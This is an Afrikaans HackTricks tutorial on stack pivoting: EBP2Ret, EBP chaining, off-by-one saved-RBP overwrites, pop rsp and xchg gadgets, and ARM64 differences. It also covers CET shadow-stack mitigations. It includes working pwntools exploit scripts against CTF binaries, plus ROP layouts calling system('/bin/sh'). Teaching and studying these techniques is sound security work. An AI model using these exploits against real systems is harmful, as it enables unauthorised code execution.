Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 12 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Hierdie tegniek benut die vermoë om die Base Pointer (EBP/RBP) te manipuleer om die uitvoering van verskeie funksies te ketting deur versigtige gebruik van die raam pointer en die leave; ret instruksie volgorde.

Ter herinnering, op x86/x86-64 is leave gelyk aan:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

En aangesien die gestoor EBP/RBP in die stap is voordat die gestoor EIP/RIP, is dit moontlik om dit te beheer deur die stap te beheer.

Aantekeninge

  • Op 64-bis, vervang EBP→RBP en ESP→RSP. Semantiek is dieselfde.
  • Sommige kompilators laat die raamwyser weg (sien “EBP mag dalk nie gebruik word”). In daardie geval mag leave nie verskyn nie en hierdie tegniek sal nie werk nie.

EBP2Ret

Hierdie tegniek is veral nuttig wanneer jy die gestoor EBP/RBP kan verander, maar geen direkte manier het om EIP/RIP te verander nie. Dit benut die funksie epiloog gedrag.

As jy, tydens fvuln se uitvoering, daarin slaag om 'n valse EBP in die stap in te spuit wat na 'n area in geheue wys waar jou shellcode/ROP-ketting adres geleë is (plus 8 bytes op amd64 / 4 bytes op x86 om vir die pop rekening te hou), kan jy indirek RIP beheer. Soos die funksie terugkeer, stel leave RSP op die vervaardigde ligging en die daaropvolgende pop rbp verminder RSP, wat dit effektief laat wys na 'n adres wat deur die aanvaller daar gestoor is. Dan sal ret daardie adres gebruik.

Let op hoe jy 2 adresse moet weet: die adres waar ESP/RSP gaan gaan, en die waarde wat op daardie adres gestoor is wat ret sal verbruik.

Exploit Konstruksie

Eerstens moet jy 'n adres weet waar jy arbitrêre data/adresse kan skryf. RSP sal hierheen wys en die eerste ret verbruik.

Dan moet jy die adres kies wat deur ret gebruik word wat uitvoering sal oordra. Jy kan gebruik:

  • 'n Geldige ONE_GADGET adres.
  • Die adres van system() gevolg deur die toepaslike terugkeer en argumente (op x86: ret teiken = &system, dan 4 rommelbytes, dan &"/bin/sh").
  • Die adres van 'n jmp esp; gadget (ret2esp) gevolg deur inline shellcode.
  • 'n ROP ketting wat in skryfbare geheue gestoor is.

Onthou dat voor enige van hierdie adresse in die beheerde area, daar moet wees spasie vir die pop ebp/rbp van leave (8B op amd64, 4B op x86). Jy kan hierdie bytes misbruik om 'n tweede valse EBP in te stel en beheer te hou nadat die eerste oproep terugkeer.

Off-By-One Exploit

Daar is 'n variant wat gebruik word wanneer jy slegs die minste betekenisvolle byte van die gestoor EBP/RBP kan verander. In so 'n geval moet die geheue ligging wat die adres stoor om na te spring met ret die eerste drie/vyf bytes met die oorspronklike EBP/RBP deel sodat 'n 1-byte oorskrywing dit kan herlei. Gewoonlik word die lae byte (offset 0x00) verhoog om so ver as moontlik binne 'n nabye blad/uitgelijnde streek te spring.

Dit is ook algemeen om 'n RET-slee in die stap te gebruik en die werklike ROP-ketting aan die einde te plaas om dit meer waarskynlik te maak dat die nuwe RSP binne die slee wys en die finale ROP-ketting uitgevoer word.

EBP Ketting

Deur 'n beheerde adres in die gestoor EBP slot van die stap te plaas en 'n leave; ret gadget in EIP/RIP, is dit moontlik om ESP/RSP na 'n deur die aanvaller beheerde adres te beweeg.

Nou is RSP beheerde en die volgende instruksie is ret. Plaas in die beheerde geheue iets soos:

  • &(next fake EBP) -> Gelaai deur pop ebp/rbp van leave.
  • &system() -> Geroep deur ret.
  • &(leave;ret) -> Nadat system eindig, beweeg RSP na die volgende valse EBP en gaan voort.
  • &("/bin/sh") -> Argument vir system.

Op hierdie manier is dit moontlik om verskeie valse EBPs te ketting om die vloei van die program te beheer.

Dit is soos 'n ret2lib, maar meer kompleks en slegs nuttig in randgevalle.

Boonop het jy hier 'n voorbeeld van 'n uitdaging wat hierdie tegniek gebruik met 'n staplek om 'n wenfunksie aan te roep. Dit is die finale payload van die bladsy:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 uitlijningswenk: System V ABI vereis 16-byte stapeluitlijning by oproep plekke. As jou ketting funksies soos system aanroep, voeg 'n uitlijningsgadget by (bv. ret, of sub rsp, 8 ; ret) voor die oproep om uitlijning te handhaaf en movaps crashes te vermy.

EBP mag dalk nie gebruik word nie

Soos in hierdie pos verduidelik, as 'n binêre met sekere optimalisasies of met raamwyser weglating gecompileer word, beheer die EBP/RBP nooit die ESP/RSP nie. Daarom sal enige ontploffing wat werk deur EBP/RBP te beheer, misluk omdat die proloog/epiloog nie van die raamwyser herstel nie.

  • Nie geoptimaliseer / raamwyser gebruik:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Geoptimaliseer / raamwyser weggelaat:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Op amd64 sal jy dikwels pop rbp ; ret sien in plaas van leave ; ret, maar as die raamwyser heeltemal weggelaat word, is daar geen rbp-gebaseerde epiloog om deur te pivot nie.

Ander maniere om RSP te beheer

pop rsp gadget

In this page kan jy 'n voorbeeld vind wat hierdie tegniek gebruik. Vir daardie uitdaging was dit nodig om 'n funksie met 2 spesifieke argumente aan te roep, en daar was 'n pop rsp gadget en daar is 'n leak van die stapel:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Kyk die ret2esp tegniek hier:

Ret2esp / Ret2reg

Vind pivot gadgets vinnig

Gebruik jou gunsteling gadget soeker om te soek na klassieke pivot primitiewe:

  • leave ; ret op funksies of in biblioteke
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (of add esp, <imm> ; ret op x86)

Voorbeelde:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klassieke pivot staging patroon

'n Robuuste pivot strategie wat in baie CTFs/exploits gebruik word:

  1. Gebruik 'n klein aanvanklike oorgang om read/recv in 'n groot skryfbare gebied (bv. .bss, heap, of gemapte RW geheue) te bel en plaas 'n volle ROP-ketting daar.
  2. Keer terug na 'n pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) om RSP na daardie gebied te beweeg.
  3. Gaan voort met die gestage ketting (bv. lek libc, bel mprotect, dan read shellcode, dan spring daarna).

Moderne verskansings wat stap pivoting breek (CET/Shadow Stack)

Moderne x86 CPU's en OS's implementeer toenemend CET Shadow Stack (SHSTK). Met SHSTK geaktiveer, vergelyk ret die terugkeeradres op die normale stapel met 'n hardeware-beskermde skadu-stapel; enige wanverhouding veroorsaak 'n Control-Protection fout en dood die proses. Daarom sal tegnieke soos EBP2Ret/leave;ret-gebaseerde pivots ineenstort sodra die eerste ret van 'n gepivote stapel uitgevoer word.

  • Vir agtergrond en dieper besonderhede sien:

CET & Shadow Stack

  • Vinige kontroles op Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Aantekeninge vir laboratoriums/CTF:

  • Sommige moderne distros aktiveer SHSTK vir CET-geaktiveerde binêre wanneer hardeware en glibc ondersteuning teenwoordig is. Vir beheerde toetsing in VM's kan SHSTK stelselwyd gedeaktiveer word via die kern opstartparameter nousershstk, of selektief geaktiveer word via glibc tunables tydens opstart (sien verwysings). Moet nie versagtings op produksiedoelwitte deaktiveer nie.

  • JOP/COOP of SROP-gebaseerde tegnieke mag steeds lewensvatbaar wees op sommige teikens, maar SHSTK breek spesifiek ret-gebaseerde pivots.

  • Windows nota: Windows 10+ stel gebruikersmodus bloot en Windows 11 voeg kernmodus "Hardeware-afgedwonge Stapbeskerming" by wat op skadu stapels gebaseer is. CET-compatibele prosesse voorkom stap pivoting/ROP by ret; ontwikkelaars kies in via CETCOMPAT en verwante beleide (sien verwysing).

ARM64

In ARM64, die proloog en epiloge van die funksies stoor en herwin nie die SP register in die stapel nie. Boonop, die RET instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar na die adres binne x30.

Daarom, standaard, net deur die epiloge te misbruik, sal jy nie in staat wees om die SP register te beheer deur sommige data binne die stapel te oorskryf nie. En selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om die x30 register te beheer.

  • proloog
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP wys na raamrekord
  • epiloge
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Die manier om iets soortgelyks aan stap pivoting in ARM64 uit te voer, sou wees om in staat te wees om die SP te beheer (deur 'n register te beheer waarvan die waarde aan SP oorgedra word of omdat om een of ander rede SP sy adres van die stapel neem en ons 'n oorskrywing het) en dan die epiloge te misbruik om die x30 register van 'n beheerde SP te laai en RET daarna.

Ook op die volgende bladsy kan jy die ekwivalent van Ret2esp in ARM64 sien:

Ret2esp / Ret2reg

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks